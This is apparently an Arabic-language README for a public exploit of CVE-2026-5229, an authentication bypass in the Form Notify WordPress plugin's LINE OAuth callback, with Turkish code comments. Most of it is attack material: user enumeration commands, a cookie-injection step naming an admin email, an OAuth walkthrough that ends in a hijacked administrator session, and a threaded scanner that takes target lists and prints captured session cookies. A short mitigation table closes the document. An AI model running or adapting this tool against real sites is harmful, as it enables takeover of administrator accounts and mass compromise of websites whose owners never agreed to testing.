
CVE-2026-5229: تجاوز مصادقة Form Notify عبر استدعاء LINE OAuth (CVSS 9.8)
CVE-2026-5229: تجاوز مصادقة Form Notify عبر رد اتصال LINE OAuth (CVSS 9.8)
الإضافة: Form Notify (
form-notify) نوع الثغرة: تجاوز مصادقة LINE OAuth بدون تسجيل دخول ← الاستيلاء على الحساب درجة CVSS: 9.8 (حرجة) متجه CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hالإصدارات المتأثرة: <= 1.1.10 الإصدار المُصحح: 1.1.11+ الباحث: Paolo Tresso — Wordfence
إضافة Form Notify هي إضافة ووردبريس ترسل إشعارات بعد إرسال النماذج وتوفر تكامل LINE Login OAuth 2.0.
تقع الثغرة في معالج رد الاتصال (callback handler) الخاص بـ LINE OAuth. بعد أن يكمل المستخدم تدفق تفويض LINE، تحدد الإضافة حساب ووردبريس استنادًا إلى عنوان البريد الإلكتروني فقط. ولا تتحقق إطلاقًا مما إذا كان حساب LINE مرتبطًا مسبقًا بحساب ووردبريس هذا.
| الإصدار | الثغرة | طريقة الهجوم |
|---|---|---|
| <= 1.1.08 | حقن الكوكيز + مطابقة البريد الإلكتروني | المسار A أو المسار B |
| 1.1.09 – 1.1.10 | مطابقة البريد الإلكتروني (تمت إزالة الكوكيز) | المسار B |
| 1.1.11+ | مُصحح | — |
نقطة نهاية رد الاتصال الخاصة بـ LINE OAuth مسجلة لتكون عامة تمامًا:
// src/APIs/Line/Login/Route.php
register_rest_route(
'form-notify/v1',
'/callback',
array(
'methods' => 'GET',
'callback' => array( $this, 'get_api_callback' ),
'permission_callback' => function () {
return true; // kimlik doğrulama gerekmez
},
)
);
إن رموز nonce في ووردبريس هي رموز CSRF وليست رموز مصادقة. يمكن لأي زائر الحصول على nonce صالح من HTML الصفحة واجتياز فحص التحقق.
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email = $has_real_email ? $user->email : $user_raw_id . '@line.com';
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
$this->user = get_user_by( 'email', $user_email ); // sadece email ile arama
if ( ! is_wp_error( $this->user ) && $this->user ) {
return true; // linkage kontrolü YOK
}
return false;
}
إذا وُجد تطابق، تفتح دالة login() جلسة فورًا:
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
if ( ! is_user_logged_in() ) {
wp_clear_auth_cookie();
wp_set_current_user( $this->user->ID );
wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
}
}
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
$line_email = sanitize_text_field(
wp_unslash( $_COOKIE['form_notify_line_email'] )
);
}
$user_email = ( $user->email ) ? $user->email : $line_email;
عندما لا يُرجع ملف تعريف LINE بريدًا إلكترونيًا ($user->email فارغ)، تقرأ الإضافة كوكي المتصفح مباشرةً. يتحكم المهاجم في هذه الكوكي بالكامل.
$session_state = get_transient( 'form_notify_line_state_' . $state );
if ( empty( $session_state ) ) {
// Transient yoksa $_SESSION'a düşer
$session_state = sanitize_text_field(
wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
);
set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}
عند انتهاء صلاحية الـ transient، يعمل البديل $_SESSION. في معظم تثبيتات ووردبريس، لا تكون $_SESSION ممتلئة عند هذه النقطة ← يمكن تجاوز فحص الحالة.
// sign_up() metodu
$userdata = array(
'user_pass' => $user_email, // şifre = email adresi
...
);
في الحسابات التي يتم إنشاؤها عبر تدفق LINE OAuth، تكون كلمة المرور مطابقة لعنوان البريد الإلكتروني. وهذا يسمح مباشرة بهجوم تخمين (brute-force) أو هجوم تسجيل دخول.
| السبب | الوصف |
|---|---|
| لا يتطلب مصادقة | نقطة نهاية الاستدعاء عامة بالكامل |
| لا يوجد تحقق من الارتباط | أي حساب LINE يكفي |
| هجوم الكوكيز | في <= 1.1.08 لا يتطلب حتى بريدًا إلكترونيًا |
| جميع الحسابات بما فيها المسؤول | get_user_by('email') يؤثر على الجميع |
| تحكم ضعيف بالحالة | يمكن تجاوز حماية CSRF |
| البريد الإلكتروني = كلمة المرور | الحسابات المفتوحة عبر OAuth عرضة لهجوم تخمين سهل |
⚠️ إخلاء المسؤولية: يُقدَّم إثبات المفهوم هذا لأغراض تعليمية واختبار أمان مصرح به فقط. اختبار الأنظمة دون إذن صريح غير قانوني.
المتطلبات الأساسية:
TARGET="https://target.com"
# WordPress REST API'den kullanıcı listesi
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool
# Veya author sayfaları
curl -s "$TARGET/?author=1" -I | grep Location
افتح أدوات مطور المتصفح والصق في الكونسول:
document.cookie = "[email protected]; path=/";
أو عبر curl:
curl -v -b '[email protected]' \
"$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location
افتح عنوان LINE OAuth الموجود في ترويسة Location في المتصفح.
في شاشة موافقة LINE، لا تمنح إذن البريد الإلكتروني أو استخدم حساب LINE بدون بريد إلكتروني. يعيد LINE التوجيه إلى رد الاتصال دون بريد إلكتروني. تقع الإضافة في الكوكي.
curl -s -b 'wordpress_logged_in_XXXX=...' \
"$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool
الاستجابة المتوقعة:
{
"id": 1,
"name": "admin",
"email": "[email protected]",
"roles": ["administrator"]
}
مطابق للخطوة 1 في المسار A.
أنشئ حساب LINE بالبريد الإلكتروني المستهدف على account.line.biz. (يتطلب التحقق من البريد الإلكتروني — يلزم الوصول إلى صندوق بريد الهدف.)
https://target.com/wp-json/form-notify/v1/login
في شاشة موافقة LINE، امنح إذن البريد الإلكتروني. يُرجع LINE عنوان البريد الإلكتروني إلى رد الاتصال.
Plugin: is_member('[email protected]')
→ get_user_by('email', '[email protected]')
→ Administrator bulundu
→ wp_set_auth_cookie(1)
→ Oturum açıldı ✓
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt
requirements.txt
requests
python form_notify_rce.py -u http://hedef.com
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path A
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path B
python form_notify_rce.py -u http://hedef.com \
--email [email protected] \
--path both
python form_notify_rce.py -l targets.txt -t 15 -o sonuclar.txt
python form_notify_rce.py -u http://hedef.com \
--proxy http://127.0.0.1:8080
| المعامل | الاختصار | الوصف | الافتراضي |
|---|---|---|---|
--url | -u | عنوان URL لهدف واحد | — |
--list | -l | ملف قائمة الأهداف | — |
--threads | -t | عدد الخيوط | 10 |
--output | -o | ملف الإخراج | auth_bypass.txt |
--email | — | البريد الإلكتروني للمستخدم المستهدف | اكتشاف تلقائي |
--path | — | مسار الهجوم (A / B / both) | both |
--max-users | — | أقصى عدد مستخدمين لكل هدف | 5 |
--proxy | — | عنوان URL للبروكسي | — |
--timeout | — | مهلة الطلب (ثانية) | 10 |
| الحالة | الوصف |
|---|---|
★ AUTH OK | تم الحصول على كوكي الجلسة — تلقائي بالكامل |
★ WP-ADMIN | تمت إعادة التوجيه إلى /wp-admin |
~ MANUAL | عنوان OAuth جاهز، أكمله في المتصفح |
~ PATH B | خطوات يدوية مع حساب LINE |
- NO_PLUGIN | إضافة Form Notify غير مثبتة |
- NO_LINE | LINE Login غير مفعّل |
~ NO_TARGET | لم يتم العثور على بريد إلكتروني للمستخدم |
~ UNREACH | تعذر الوصول إلى الهدف |
[*] 3 hedef | Form Notify LINE OAuth Bypass | threads=10
[★ AUTH OK ] http://hedef1.com (Path A)
Hedef Email : [email protected]
Sürüm : 1.1.08
OAuth URL : https://access.line.me/oauth2/v2.1/authorize?...
Kullanıcı : admin <[email protected]> roles=['administrator']
Cookie : {'wordpress_logged_in_abc123': 'admin|...'}
[~ MANUAL ] http://hedef2.com (Path A — Manuel tamamlama)
Hedef Email : [email protected]
Cookie Set : [email protected]
OAuth URL : https://access.line.me/oauth2/v2.1/authorize?...
State : a1b2c3d4e5f6
[- NO_LINE ] http://hedef3.com (LINE Login aktif değil)
──────────────────────────────────────────────────────────────
DONE : 2
NO_LINE : 1
──────────────────────────────────────────────────────────────
Auth bypass → auth_bypass.txt
──────────────────────────────────────────────────────────────
| الإجراء | التطبيق |
|---|---|
| تحديث الإضافة | قم بترقية Form Notify إلى الإصدار 1.1.11+ |
| التحقق من ارتباط LINE | احفظ LINE ID في بيانات المستخدم (user meta) وتحقق منه عند كل تسجيل دخول |
| إزالة الكوكي البديل | أزل استخدام $_COOKIE['form_notify_line_email'] |
| التحقق من الحالة | أزل البديل transient وارفض الحالة منتهية الصلاحية |
| سياسة كلمة المرور | لا تستخدم البريد الإلكتروني ككلمة مرور في sign_up() |
| حماية نقطة نهاية REST | طبّق تحديد معدل (rate limiting) على نقطة نهاية الاستدعاء |
مثال على تحديد الحساب بشكل آمن:
// Güvensiz (mevcut)
$user = get_user_by( 'email', $line_email );
// Güvenli (önerilen)
$users = get_users( array(
'meta_key' => 'line_user_id',
'meta_value' => $line_user_id, // LINE ID ile eşleştir
) );
form-notify-bypass/
├── form_notify_rce.py # Ana tarayıcı
├── requirements.txt # Bağımlılıklar
└── README.md # Bu dosya
تم إعداد هذه الأداة وإثبات المفهوم للاستخدام فقط على الأنظمة المصرح بها، ولأغراض تعليمية وفي إطار اختبار الاختراق. الاستخدام على أنظمة دون إذن يشكل جريمة بموجب المواد 243-245 من قانون العقوبات التركي والقوانين الدولية للجرائم الإلكترونية. لا يتحمل المطور أي مسؤولية قانونية ناتجة عن إساءة استخدام الأداة.
رخصة MIT — لأغراض التعليم والبحث فقط.